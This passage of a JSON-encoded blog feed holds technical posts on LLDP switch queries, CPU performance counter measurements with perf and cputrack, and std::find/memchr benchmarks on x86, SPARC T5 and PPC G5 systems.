class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span>\n<span class=\"nx\">MAC<\/span><span class=\"o\">\/<\/span><span class=\"nx\">PHY<\/span><span class=\"w\"> <\/span><span class=\"nx\">Configuration<\/span><span class=\"w\"> <\/span><span class=\"nx\">Status<\/span><span class=\"w\"> <\/span><span class=\"nx\">TLV<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">Auto<\/span><span class=\"o\">-<\/span><span class=\"nx\">negotiation<\/span><span class=\"w\"> <\/span><span class=\"nx\">supported<\/span><span class=\"w\"> <\/span><span class=\"k\">and<\/span><span class=\"w\"> <\/span><span class=\"nx\">enabled<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">PMD<\/span><span class=\"w\"> <\/span><span class=\"kt\">auto<\/span><span class=\"o\">-<\/span><span class=\"nx\">negotiation<\/span><span class=\"w\"> <\/span><span class=\"nx\">capabilities<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x6c00<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">MAU<\/span><span class=\"w\"> <\/span><span class=\"k\">type<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"mi\">100<\/span><span class=\"w\"> <\/span><span class=\"nx\">BaseTXFD<\/span>\n<span class=\"nx\">End<\/span><span class=\"w\"> <\/span><span class=\"nx\">of<\/span><span class=\"w\"> <\/span><span class=\"nx\">LLDPDU<\/span><span class=\"w\"> <\/span><span class=\"nx\">TLV<\/span>\n<\/code><\/pre><\/div>\n\n<p>One can see that the switch just supports 100 MBit ethernet and thus\nmust be quite old. A quick web search confirms this. It also reveals\nthat this switch has installed the latest available firmware. The host that executed the <code>lldptool<\/code> query is connected to switch port 14.<\/p>","category":[{"@attributes":{"term":"network"}},{"@attributes":{"term":"lldp"}}]},{"title":"Counting CPU Events","link":{"@attributes":{"href":"https:\/\/gms.tf\/counting-cpu-events.html","rel":"alternate"}},"published":"2016-10-16T10:10:00+02:00","updated":"2016-10-16T10:10:00+02:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2016-10-16:\/counting-cpu-events.html","summary":"<p>This article discusses hardware performance counter measurements\nobtained for a <a href=\"https:\/\/gms.tf\/sparc-and-ppc-find-benchmark-results.html\">character search benchmark running on Intel x86\nand SPARC hardware<\/a>. Those results help to explain the big\nruntime differences between a SPARC T5 system and Intel x86 ones\n(SPARC being much slower), as well as differences between the\ndifferent implementations \u2026<\/p>","content":"<p>This article discusses hardware performance counter measurements\nobtained for a <a href=\"https:\/\/gms.tf\/sparc-and-ppc-find-benchmark-results.html\">character search benchmark running on Intel x86\nand SPARC hardware<\/a>. Those results help to explain the big\nruntime differences between a SPARC T5 system and Intel x86 ones\n(SPARC being much slower), as well as differences between the\ndifferent implementations.<\/p>\n<p>Current CPUs include hardware performance counters that are\nincreased on events like instruction executed, branch\nmis-predicted or just on each clock-cycle. They are useful\nmetrics to sample during profiling since they paint an accurate\npicture what effects the code under investigation has on real\nhardware.<\/p>\n<div class=\"toc\">\n<ul>\n<li><a href=\"#motivation\">Motivation<\/a><\/li>\n<li><a href=\"#perf-example\">Perf Example<\/a><\/li>\n<li><a href=\"#solarissparc-example\">Solaris\/SPARC example<\/a><\/li>\n<li><a href=\"#methods\">Methods<\/a><\/li>\n<li><a href=\"#results\">Results<\/a><ul>\n<li><a href=\"#branch-prediction\">Branch Prediction<\/a><\/li>\n<li><a href=\"#superscalarity\">Superscalarity<\/a><\/li>\n<\/ul>\n<\/li>\n<li><a href=\"#other-factors\">Other factors<\/a><\/li>\n<li><a href=\"#conclusion\">Conclusion<\/a><\/li>\n<\/ul>\n<\/div>\n<h2 id=\"motivation\">Motivation<a class=\"headerlink\" href=\"#motivation\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>A <a href=\"https:\/\/en.wikipedia.org\/wiki\/Instruction_pipeline\">pipelined architecture<\/a> usually comes\nwith some machinery to predict the result of a conditional\nbranch, such that the pipeline is always filled well.  Without\npipelining, a CPU needs several clock-cycles to process an\ninstruction (e.g. at least 3 cycles for fetch + decode + execute\n- in a simple model). When the pipeline works well, i.e. when it\nis filled, the CPU may execute up to 1 instruction per cycle.<\/p>\n<p>Modern CPUs aren't just pipelined they are usually also\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Superscalar_processor\">superscalar<\/a>, i.e. they are able to fetch, decode and\nexecute multiple instructions in parallel. Meaning that they\nexploit instruction level parallelism. This parallelism\nautomatically happens on a core, i.e. the speedup happens for a\nsingle thread of execution. <\/p>\n<p>Thus, profiling with hardware counters shows if the code actually\nmakes good use of the CPU. For example, dividing the number of\nmispredicted branches by the number of all (conditional) branches\ngives the misprediction rate. If it is high it is a hint to\noptimize the code such that the number of branches is reduced,\nif possible.<\/p>\n<p>Similarly, the number of instructions divided by the number of\ncycles shows if the code is well suited for superscalar execution\nor not. Perhaps it can be optimized to remove unnecessary\ndependencies, on an instruction level.<\/p>\n<h2 id=\"perf-example\">Perf Example<a class=\"headerlink\" href=\"#perf-example\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>On Linux, the <a href=\"http:\/\/man7.org\/linux\/man-pages\/man1\/perf-stat.1.html\"><code>perf stat<\/code><\/a> command can be used to sample\nthe hardware performance counters of a CPU while running a\nprogram. <code>perf list<\/code> lists all available counters, although\nuseful ones are selected, by default.<\/p>\n<p>An example (executed on a 6th gen Intel i7-6600U CPU @ 2.60GHz):<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>$ perf stat .\/find_unroll2 30000 in &gt; \/dev\/null\n\nPerformance counter stats for &#39;.\/find_unroll2 30000 in&#39;:\n\n     45458.422057      task-clock:u (msec)       #    1.000 CPUs utilized\n                0      context-switches:u        #    0.000 K\/sec\n                0      cpu-migrations:u          #    0.000 K\/sec\n               94      page-faults:u             #    0.002 K\/sec\n  147,362,896,070      cycles:u                  #    3.242 GHz\n  459,613,530,908      instructions:u            #    3.12  insn per cycle\n  126,908,078,140      branches:u                # 2791.740 M\/sec\n    1,101,990,382      branch-misses:u           #    0.87% of all branches\n\n   45.457945052 seconds time elapsed\n<\/code><\/pre><\/div>\n\n<p>It is perhaps a little bit surprising that it reports 3.242 GHz\nalthough the CPU is marked with 2.6 GHz. This is due to a\nturbo-boost feature, where the CPU can temporarily 'overclock' if\njust one core is busy (such that it doesn't overheat). The\nnumbers are internally consistent, e.g.  cycles divided by\nruntime:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>147362896070 45458.422057 1000 \/ \/ 10 9 ^ \/ p\n=&gt; 3.241 GHz\n<\/code><\/pre><\/div>\n\n<p>Or mis-predicted branches divided by all branches:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>.86001101990382  126908078140 \/ p\n=&gt; .0086 branch-mis-rate (i.e. 0.86 %)\n<\/code><\/pre><\/div>\n\n<h2 id=\"solarissparc-example\">Solaris\/SPARC example<a class=\"headerlink\" href=\"#solarissparc-example\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>For reading out the hardware counters on Solaris 10,\n<a href=\"https:\/\/docs.oracle.com\/cd\/E26502_01\/html\/E29030\/cputrack-1.html\"><code>cputrack<\/code><\/a> can be used as <a href=\"http:\/\/man7.org\/linux\/man-pages\/man1\/perf-stat.1.html\"><code>perf stat<\/code><\/a>\nreplacement. It provides access to less counters than its Linux\ncounterpart and less than the Solaris 11 version, but some\nessential ones are there.<\/p>\n<p>Help output of cputrack:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>Usage:\n    cputrack [-T secs] [-N count] [-Defhnv] [-o file]\n        -c events [command [args] | -p pid]\n\n    -T secs   seconds between samples, default 1\n    -N count  number of samples, default unlimited\n    -D        enable debug mode\n    -e        follow exec(2), and execve(2)\n    -f        follow fork(2), fork1(2), and vfork(2)\n    -h        print extended usage information\n    -n        suppress titles\n    -t        include virtualized %tick register\n    -v        verbose mode\n    -o file   write cpu statistics to this file\n    -c events specify processor events to be monitored\n    -p pid    pid of existing process to capture\n\n    Use cpustat(1M) to monitor system-wide statistics.\n<\/code><\/pre><\/div>\n\n<p>Example call:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>$ cputrack -o foo.log -c Cycles_user,PAPI_tot_ins,PAPI_br_cn,PAPI_br_msp \\\n  .\/ss_find_find 30000 in &gt; \/dev\/null\n   time lwp  event      pic0      pic1  pic2      pic3\n[..]\n104.996   1   tick 3212642270 4080318300 1379858144   8494482\n105.996   1   tick 3211969907 4078677601 1379286911   8491144\n106.996   1   tick 3211183407 4078776284 1379331819   8491657\n107.283   1   exit 344491651460 437368550542 147905759012 910664380\n<\/code><\/pre><\/div>\n\n<h2 id=\"methods\">Methods<a class=\"headerlink\" href=\"#methods\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The results are gathered with the <a href=\"https:\/\/github.com\/gsauthof\/utility\/blob\/master\/benchmark.py\">benchmark.py utility<\/a>.\nThis tool abstracts away some of the differences between systems\nand generates stats and plots for multiple runs. For example, the\n<code>perf stat<\/code> CSV output on CentOS 7 misses some columns and uses a\ndifferent counter naming scheme. On Solaris, it calls <code>cputrack<\/code>\ninstead and normalizes its output.<\/p>\n<p>Each program version is executed and profiled 10 times.<\/p>\n<p>The used CPUs are:<\/p>\n<ul>\n<li>Intel(R) Core(TM) i7-6600U CPU @ 2.60GHz (6th gen, turbo-boost up to 3.6 GHz)<\/li>\n<li>Intel(R) Core(TM) i5-4250U CPU @ 1.30GHz (4th gen, turbo-boot up to 2.6 GHz)<\/li>\n<li>SPARC T5 @ 3.6 GHz<\/li>\n<\/ul>\n<p>When running the benchmarks in a virtual machine (VM), the VM\ncomplicates accessing the hardware counters. For example,\nVirtualBox <a href=\"https:\/\/www.virtualbox.org\/ticket\/2278\">doesn't support<\/a> any counter access and <a href=\"https:\/\/forums.virtualbox.org\/viewtopic.php?f=9&amp;t=68913\">doesn't\ncare<\/a>. There is <a href=\"https:\/\/docs.fedoraproject.org\/en-US\/Fedora_Draft_Documentation\/0.1\/html\/Virtualization_Deployment_and_Administration_Guide\/sect-perf-mon.html\">support in Linux KVM<\/a>, though.<\/p>\n<p>With Solaris 10 ldoms, access is possible but must <a href=\"https:\/\/docs.oracle.com\/cd\/E48724_01\/html\/E48732\/useperfcounterprops.html\">be\nconfigured<\/a>, otherwise cputrack fails with errors like:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>123456: fini_lwp: lwp1: perf counter contents invalidated\n<\/code><\/pre><\/div>\n\n<p>The error occurs if the ldom perf-counters property isn't set. If\nit is set to <code>htstrand<\/code> it should work.<\/p>\n<p>Of course, the best thing is to run the benchmarks outside of any\nvirtualization, if possible.<\/p>\n<h2 id=\"results\">Results<a class=\"headerlink\" href=\"#results\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The different measurements were done on a Intel Core i7, an Core\ni5 and a SPARC T5 CPU. The <a href=\"https:\/\/github.com\/gsauthof\/find-memchr\/blob\/master\/result\">raw data is available in a Git repository<\/a>.<\/p>\n<h3 id=\"branch-prediction\">Branch Prediction<a class=\"headerlink\" href=\"#branch-prediction\" title=\"Permanent link\">&para;<\/a><\/h3>\n<p><img alt=\"Core i7-6660U branch mispredictionrate\" src=\"https:\/\/gms.tf\/image\/perf_i7_br_mis.svg\"><\/p>\n<p>In general, branches are predicted pretty good for all the\ndifferent versions. The different results match previous\nobservations.<\/p>\n<p>Since the <code>find_uclibx86<\/code> version uses the very CISC instruction\n<code>REPNE SCSB<\/code> which replaces much of the visible branching and\nthus there isn't much to predict (and this instruction is\nvery slow on modern Intel CPUs).<\/p>\n<p>Versions like <code>find_avx_more<\/code> or <code>find_avx2_overflow<\/code> that to a\nlittle bit more to avoid some final looping (and thus branching)\nfor the tail portion of the input also benefit from less\nmispredictions.<\/p>\n<p>Also not unexpected, the versions <code>find_musl<\/code> and <code>find_uclibc<\/code>\nhave the highest branch misprediction rate because their chunked\napproach contains a lot of branching that is apparently not a\ngood match for the branch-prediction units.<\/p>\n<p>The difference between <code>find_unroll<\/code> and <code>find_unroll<\/code> is\nconsistent with the previous runtime benchmark, where the first\nversion has the loop unrolled 4 times (instead of 3) and runs\nslower. Unrolling more introduces more branches and more\nbranching require more space to store the predictions.<\/p>\n<p><img alt=\"Core i5-4250U branch mispredictionrate\" src=\"https:\/\/gms.tf\/image\/perf_i5_br_mis.svg\"><\/p>\n<p>The results on an Intel Core i5 are quite similar to the i7 ones.<\/p>\n<p><img alt=\"SPARC T5 branch misprediction\" src=\"https:\/\/gms.tf\/image\/perf_t5_br_mis.svg\"><\/p>\n<p>In comparison with x86, the result is more partitioned into 2\ngroups. Either 0.5 to 1 % of the branches are mispredicted (e.g.\n<code>find_naive<\/code>) or the percentage rises to over 4 %. The lower\nbound is similar to the results on x86, but the upper bound is\nseveral times higher than on x86 and it is reached by many more\nversions.<\/p>\n<p>Compiling the versions with different compilers (Solaris Studio\n12.3 vs. GCC 4.9) doesn't make a difference, as far as\nbranch-prediction is affected. Note that <code>ss_find_find<\/code> also uses\na different STL.<\/p>\n<h3 id=\"superscalarity\">Superscalarity<a class=\"headerlink\" href=\"#superscalarity\" title=\"Permanent link\">&para;<\/a><\/h3>\n<p><img alt=\"Core i7-6660U instructions per cycle\" src=\"https:\/\/gms.tf\/image\/perf_i7_ins.svg\"><\/p>\n<p>Those results are also consistent with the measured runtimes.\nVersions with the longest runtime also execute less instructions\nper cycle. Again, the usage of the very CISC <code>REPNE SCSB<\/code>\ninstruction in <code>find_uclibx86<\/code> yields the worst result. Probably\ndo to a micro-code implementation that blocks the usual\nsuperscalar mechanism. Also again, the reduction of the unroll\nfactor from 4 to 3 (in <code>find_unroll<\/code> vs. <code>find_unroll_3) has a\npositive effect. As expected, slow versions like<\/code>find_musl<code>and<\/code>find_uclibc` that do some branching and bit operations due to\nchunking yield a lower number of instructions per second.<\/p>\n<p><img alt=\"Core i5-4250U instructions per cycle\" src=\"https:\/\/gms.tf\/image\/perf_i5_ins.svg\"><\/p>\n<p>The results on the 2 generations older i5 are similar to the i7\nones. The difference is just that the i7 rate saturates between 3\nand 3.5 while the i5 rate satures at around 2.5 for most\nversions.<\/p>\n<p>Also, omitting the <code>vzeroupper<\/code> instruction in the\n<code>find_avx2_nozero<\/code> version (cf. <a href=\"https:\/\/gms.tf\/stdfind-and-memchr-optimizations.html\">previous article<\/a>) only\nimpacts the rate on the i5 (CentOS 7) and not on the i7 (Fedora\n23) system.<\/p>\n<p><img alt=\"SPARC T5 instructions per cycle\" src=\"https:\/\/gms.tf\/image\/perf_t5_ins.svg\"><\/p>\n<p>On a SPARC T5 core there isn't much superscalar execution\nobservable. Only up to 1.3 or so instruction per cycle are\nreached by some versions. Most versions execute at a rate of 1.<\/p>\n<p>Different compilers can make a difference, e.g. for <code>find_naive<\/code>\n(a simple loop) the code generated by GCC yields a slightly\nbetter rate.<\/p>\n<h2 id=\"other-factors\">Other factors<a class=\"headerlink\" href=\"#other-factors\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>On the Solaris 10 SPARC T5 system, the counted cycles yield a\nrate of 3.2 GHz or so. This is less than the nominal 3.6 GHz,\nbecause the hardware counter is only incremented on cycles\nexecuted in user space. It is consistent with the output of\n<code>\/usr\/bin\/time<\/code> which reports up to 20 % or so time spend in the\nkernel (sys-tem calls).<\/p>\n<p>In comparison with Linux x86 systems, this value is also\nsurprisingly high, i.e. on Linux x86 about 4 % or so sys-time is\nreported.<\/p>\n<p>The input file for the benchmark isn't large, i.e. it is about 1\nMiB. For the benchmarks it is stored on local storage. In each\nbenchmark run it is read several times with an block size of 128\nKiB such that most reads should come from the VM cache and the\nsystem call overhead should be small.<\/p>\n<h2 id=\"conclusion\">Conclusion<a class=\"headerlink\" href=\"#conclusion\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>For the character searching benchmark, recent and not so recent\nmid-level Intel x86 CPUs outperform SPARC T5 ones because of\nbetter branch prediction and superscalar execution. On x86, up to\n3 or more instructions are executed per cycle, where a SPARC T5 CPU\nbasically effectively doesn't show much signs of superscalar\nexecution.<\/p>\n<p><a href=\"https:\/\/en.wikipedia.org\/wiki\/SPARC_T5\">SPARC T5<\/a> marketing material highlights the hyperthreading\nperformance of the chip, i.e. a system can come with up to 8\nsockets, where each chip has 16 cores and does 128 fold\nhyperthreading.<\/p>\n<p>In realitiy, more hyperthreads on a chip aren't a good substitute\nfor bad single core performance. <a href=\"https:\/\/en.wikipedia.org\/wiki\/Amdahl's_law\">Amdahl's Law<\/a> shows\nthat a perfect speedup can only be accomplished by a program that\nis 100 % parallelizable and on a system without communication or\nsynchronisation overhead. And if a program is embarrassingly\nparallizable without much synchronisation needs, one doesn't\nnecessarily need a shared memory system with many cores and lots\nof memory. Instead, a cluster of cheap x86 systems suffices.<\/p>\n<p>As reported <a href=\"https:\/\/gms.tf\/sparc-and-ppc-find-benchmark-results.html\">before<\/a>, for this use-case, the SPARC T5 single\ncore performance cannot compete even with a 2 generation old i5\ndesktop level x86 CPU. The program versions run twice as fast on\nthe Intel i5, and more than three times as fast on an Intel i7.\nEven the execution on an AMD K10 CPU from 2007 is slightly\nfaster.<\/p>","category":[{"@attributes":{"term":"C++"}},{"@attributes":{"term":"optimization"}}]},{"title":"SPARC and PPC find benchmark results","link":{"@attributes":{"href":"https:\/\/gms.tf\/sparc-and-ppc-find-benchmark-results.html","rel":"alternate"}},"published":"2016-09-16T10:10:00+02:00","updated":"2016-09-16T10:10:00+02:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2016-09-16:\/sparc-and-ppc-find-benchmark-results.html","summary":"<p>The article <a href=\"https:\/\/gms.tf\/stdfind-and-memchr-optimizations.html\">std::find() and memchr() Optimizations<\/a> contains\n<a href=\"https:\/\/gms.tf\/stdfind-and-memchr-optimizations.html#measurements\">benchmark results<\/a> for an Intel Core i5, an i7 and an older AMD\nsystem. This followup also adds results for a relatively recent\nSPARC system and an older PPC one.<\/p>\n<h2 id=\"sparc-t5\">SPARC T5<a class=\"headerlink\" href=\"#sparc-t5\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>First released in 2013, the <a href=\"https:\/\/en.wikipedia.org\/wiki\/SPARC_T5\">SPARC T5<\/a> is a relative \u2026<\/p>","content":"<p>The article <a href=\"https:\/\/gms.tf\/stdfind-and-memchr-optimizations.html\">std::find() and memchr() Optimizations<\/a> contains\n<a href=\"https:\/\/gms.tf\/stdfind-and-memchr-optimizations.html#measurements\">benchmark results<\/a> for an Intel Core i5, an i7 and an older AMD\nsystem. This followup also adds results for a relatively recent\nSPARC system and an older PPC one.<\/p>\n<h2 id=\"sparc-t5\">SPARC T5<a class=\"headerlink\" href=\"#sparc-t5\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>First released in 2013, the <a href=\"https:\/\/en.wikipedia.org\/wiki\/SPARC_T5\">SPARC T5<\/a> is a relative common\nmid-level SPARC system - if you use SPARC. It runs at 3.6 GHz.\nThe test system is running Solaris 10 with GCC 4.9.2 from OpenCSW\nand Solaris Studio 12.3 compilers available. Programs compiled\nwith Solaris Studio are prefixed with <code>ss<\/code>. The following\ncompiler settings are used:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>GCC: -std=c++11 -O3 -m64 -mcpu=niagara4\nSS : -xtarget=native64 -xO5\n<\/code><\/pre><\/div>\n\n<p>Note that the default STL (i.e. Sun STL) is used with Solaris\nStudio and that C++11 constructs in the test programs are\nreplaced with equivalent pre-C++11 ones.<\/p>\n<table class=\"m-table\">\n<thead>\n<tr>\n<th>exe<\/th>\n<th>min<\/th>\n<th>median<\/th>\n<th>mean<\/th>\n<th>max<\/th>\n<th>sdev<\/th>\n<th>speedup<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>ss_find_uclibc<\/td>\n<td>98.90<\/td>\n<td>99.05<\/td>\n<td>99.19<\/td>\n<td>99.80<\/td>\n<td>0.30<\/td>\n<td>1.27<\/td>\n<\/tr>\n<tr>\n<td>find_memchr<\/td>\n<td>99.10<\/td>\n<td>100.00<\/td>\n<td>100.17<\/td>\n<td>102.20<\/td>\n<td>0.80<\/td>\n<td>1.26<\/td>\n<\/tr>\n<tr>\n<td>ss_find_memchr<\/td>\n<td>99.40<\/td>\n<td>100.15<\/td>\n<td>100.05<\/td>\n<td>100.60<\/td>\n<td>0.38<\/td>\n<td>1.26<\/td>\n<\/tr>\n<tr>\n<td>ss_find_musl<\/td>\n<td>99.9<\/td>\n<td>100.7<\/td>\n<td>100.5<\/td>\n<td>100.8<\/td>\n<td>0.35<\/td>\n<td>1.25<\/td>\n<\/tr>\n<tr>\n<td>find_find<\/td>\n<td>100.5<\/td>\n<td>100.8<\/td>\n<td>100.9<\/td>\n<td>102.1<\/td>\n<td>0.41<\/td>\n<td>1.25<\/td>\n<\/tr>\n<tr>\n<td>find_uclibc<\/td>\n<td>101.4<\/td>\n<td>101.8<\/td>\n<td>101.7<\/td>\n<td>102.0<\/td>\n<td>0.19<\/td>\n<td>1.24<\/td>\n<\/tr>\n<tr>\n<td>find_musl<\/td>\n<td>100.9<\/td>\n<td>101.9<\/td>\n<td>101.6<\/td>\n<td>102.0<\/td>\n<td>0.42<\/td>\n<td>1.24<\/td>\n<\/tr>\n<tr>\n<td>ss_find_naive<\/td>\n<td>105.2<\/td>\n<td>105.5<\/td>\n<td>105.5<\/td>\n<td>105.7<\/td>\n<td>0.13<\/td>\n<td>1.19<\/td>\n<\/tr>\n<tr>\n<td>ss_find_find<\/td>\n<td>106.9<\/td>\n<td>107.1<\/td>\n<td>107.1<\/td>\n<td>107.3<\/td>\n<td>0.13<\/td>\n<td>1.18<\/td>\n<\/tr>\n<tr>\n<td>find_naive<\/td>\n<td>125.6<\/td>\n<td>126.0<\/td>\n<td>126.1<\/td>\n<td>126.5<\/td>\n<td>0.25<\/td>\n<td>1.00<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>The results show that the Solaris Studio compiler yields much\nbetter code for the naive loop version. That means that just\ncompiling the naive loop with Solaris Studio gives a speedup of\n1.19.<\/p>\n<p>Especially noteworthy is GNU STL's <code>std::find()<\/code> compiled with\nGCC that is 1.25 times faster than the naive implementation. Thus,\n1.06 times faster than Suns STL version compiled with\nSolaris Studio. And also faster than the naive version.<\/p>\n<p>In contrast to x86, the non-SIMD chunked uclibc version is the\nfastest one, followed by the version that just calls <code>memchr()<\/code>\nfrom the Solaris libc. Although the runtime difference is just a\nsecond or so. Stepping through the Solaris libc <code>memchr()<\/code>\nimplementation shows that no SIMD instructions are used. This\nhints that although that CPU comes with some SIMD support it\nmight not as well suited for string processing as what is\navailable on x86.<\/p>\n<p>The perhaps most surprising result is, that all runtimes are\nseveral times higher than the <a href=\"https:\/\/gms.tf\/stdfind-and-memchr-optimizations.html#measurements\">ones reported on x86 systems<\/a>.\nBasically even an AMD K10 desktop CPU (with less GHz) from 2007\nis 1.07 times as fast as this SPARC CPU (when comparing the\n<code>memchr<\/code> versions).<\/p>\n<p>Looking at the Core i5 results, this low-cost and low-power\ndesktop system has a speedup of 1.98 over the SPARC server. The\nCore i7 laptop CPU has a speedup of 3.16.<\/p>\n<p>Because of the big differences to x86 I would like to verify the\nresults on another SPARC system.<\/p>\n<h2 id=\"ppc-g5\">PPC G5<a class=\"headerlink\" href=\"#ppc-g5\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>This test system is Apple G5 with 1.8 GHz PPC 970FX CPU (from\naround 2004). It runs a ppc64 version of Debian 8, i.e. it comes\nwith GCC 4.9.2. Since GCC on PPC doesn't support <code>-march=native<\/code>\nand creates 32 bit binaries, by default, the following flags are\nused: <code>-O3 -mcpu=G5 -m64<\/code>.<\/p>\n<table class=\"m-table\">\n<thead>\n<tr>\n<th>exe<\/th>\n<th>min<\/th>\n<th>median<\/th>\n<th>mean<\/th>\n<th>max<\/th>\n<th>sdev<\/th>\n<th>speedup<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>find_find<\/td>\n<td>306.4<\/td>\n<td>307.5<\/td>\n<td>307.9<\/td>\n<td>311.8<\/td>\n<td>1.34<\/td>\n<td>1.23<\/td>\n<\/tr>\n<tr>\n<td>find_musl<\/td>\n<td>308.1<\/td>\n<td>309.2<\/td>\n<td>309.2<\/td>\n<td>311.3<\/td>\n<td>0.78<\/td>\n<td>1.22<\/td>\n<\/tr>\n<tr>\n<td>find_uclibc<\/td>\n<td>311.8<\/td>\n<td>312.8<\/td>\n<td>313.3<\/td>\n<td>317.3<\/td>\n<td>1.50<\/td>\n<td>1.21<\/td>\n<\/tr>\n<tr>\n<td>find_memchr<\/td>\n<td>318.2<\/td>\n<td>320.2<\/td>\n<td>320.9<\/td>\n<td>329.9<\/td>\n<td>2.67<\/td>\n<td>1.18<\/td>\n<\/tr>\n<tr>\n<td>find_naive<\/td>\n<td>375.9<\/td>\n<td>377.5<\/td>\n<td>377.4<\/td>\n<td>379.8<\/td>\n<td>0.87<\/td>\n<td>1.00<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>In contrast to all other systems, the libc <code>memchr()<\/code> version is\nnot ranked at the top. It is significantly slower than the\n<code>std::find()<\/code> version that uses a simple loop unrolling scheme.\nThus, investigating that implementation and possibly replacing it\nwith another one would be a useful task.<\/p>\n<h2 id=\"conclusion\">Conclusion<a class=\"headerlink\" href=\"#conclusion\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Looking at the benchmark results of the different machines we can\nsee that the GNU libstdc++ based <code>std::find()<\/code> version\n(<code>find_find<\/code>) is a good generic choice (for the usecases\ndescribed <a href=\"https:\/\/gms.tf\/stdfind-and-memchr-optimizations.html\">previously<\/a>). Its runtime is everywhere less than\nthe one of the naive version and less than or equal to the one of\nchunked implementations (e.g. uclibc\/musl). In contrast to the\nchunked version, the 4 times unrolled loop is also a much simpler\nand straightforward implementation.<\/p>\n<p>On x86, using specialized SIMD extensions like SSE or AVX, if\navailable, always improves the runtime much and it is thus\nbeneficial to provide specialized versions that are possible\nselected via a feature dependent runtime dispatch.<\/p>\n<p>If not implementing a libc, the system provided <code>memchr()<\/code> most\nlikely is an efficient version that is on a par with or an\nimprovement over <code>std::find()<\/code> (with the exception of\nglibc\/PPC64).<\/p>\n<p>As-is, the very slow runtimes under Solaris\/SPARC are a reminder\nto do some benchmarks <strong>before<\/strong> buying this nowadays exotic\narchitecture.<\/p>\n<p>The results, test programs and benchmark scripts are available in\nthe <a href=\"https:\/\/github.com\/gsauthof\/find-memchr\">Git repository<\/a>.<\/p>\n<p><strong>Update (2016-10-26):<\/strong> Measurements discussed in the follow-up\narticle <a href=\"https:\/\/gms.tf\/counting-cpu-events.html\">Counting CPU Events<\/a> help to explain the causes for\nthe huge runtime differences between the Linux\/x86 and Solaris\/SPARC\nsystems.<\/p>","category":[{"@attributes":{"term":"C++"}},{"@attributes":{"term":"optimization"}}]},{"title":"std::find() and memchr() Optimizations","link":{"@attributes":{"href":"https:\/\/gms.tf\/stdfind-and-memchr-optimizations.html","rel":"alternate"}},"published":"2016-09-07T10:10:00+02:00","updated":"2016-09-07T10:10:00+02:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2016-09-07:\/stdfind-and-memchr-optimizations.html","summary":"<p>Assume you need to parse a record based format with flexible\nwidth and one-byte delimiters. When using C++, the <a href=\"http:\/\/en.cppreference.com\/w\/cpp\/algorithm\/find\"><code>std::find()<\/code> STL\nalgorithm<\/a> is the obvious choice for efficiently locating the\ndelimiters. The idiomatic C solution is to use <a href=\"http:\/\/en.cppreference.com\/w\/c\/string\/byte\/memchr\"><code>memchr()<\/code><\/a>.<\/p>\n<div class=\"toc\">\n<ul>\n<li><a href=\"#expectations\">Expectations<\/a><\/li>\n<li><a href=\"#sample-code\">Sample Code<\/a><\/li>\n<li><a href=\"#methods\">Methods<\/a><\/li>\n<li><a href=\"#how-fast-is-stdfind\">How fast is std::find()?<\/a><\/li>\n<li><a href=\"#does-stdfind-call-memchr\">Does \u2026<\/a><\/li><\/ul><\/div>","content":"<p>Assume you need to parse a record based format with flexible\nwidth and one-byte delimiters. When using C++, the <a href=\"http:\/\/en.cppreference.com\/w\/cpp\/algorithm\/find\"><code>std::find()<\/code> STL\nalgorithm<\/a> is the obvious choice for efficiently locating the\ndelimiters. The idiomatic C solution is to use <a href=\"http:\/\/en.cppreference.com\/w\/c\/string\/byte\/memchr\"><code>memchr()<\/code><\/a>.<\/p>\n<div class=\"toc\">\n<ul>\n<li><a href=\"#expectations\">Expectations<\/a><\/li>\n<li><a href=\"#sample-code\">Sample Code<\/a><\/li>\n<li><a href=\"#methods\">Methods<\/a><\/li>\n<li><a href=\"#how-fast-is-stdfind\">How fast is std::find()?<\/a><\/li>\n<li><a href=\"#does-stdfind-call-memchr\">Does std::find() call memchr()?<\/a><\/li>\n<li><a href=\"#who-unrolled-the-loop\">Who unrolled the loop?<\/a><\/li>\n<li><a href=\"#doesnt-a-compiler-optimize-a-naive-loop-on-its-own\">Doesn't a compiler optimize a naive loop on its own?<\/a><\/li>\n<li><a href=\"#is-stdfind-faster-as-memchr\">Is std::find() faster as memchr()?<\/a><\/li>\n<li><a href=\"#does-simd-really-speed-things-up\">Does SIMD really speed things up?<\/a><\/li>\n<li><a href=\"#how-fast-is-just-sse\">How fast is just SSE?<\/a><\/li>\n<li><a href=\"#what-about-avx-512\">What about AVX-512<\/a><\/li>\n<li><a href=\"#glibc-memchr\">Glibc memchr()<\/a><\/li>\n<li><a href=\"#controlled-buffer-overflow\">Controlled Buffer Overflow<\/a><\/li>\n<li><a href=\"#do-more-faster\">Do more faster?<\/a><\/li>\n<li><a href=\"#alignment\">Alignment<\/a><\/li>\n<li><a 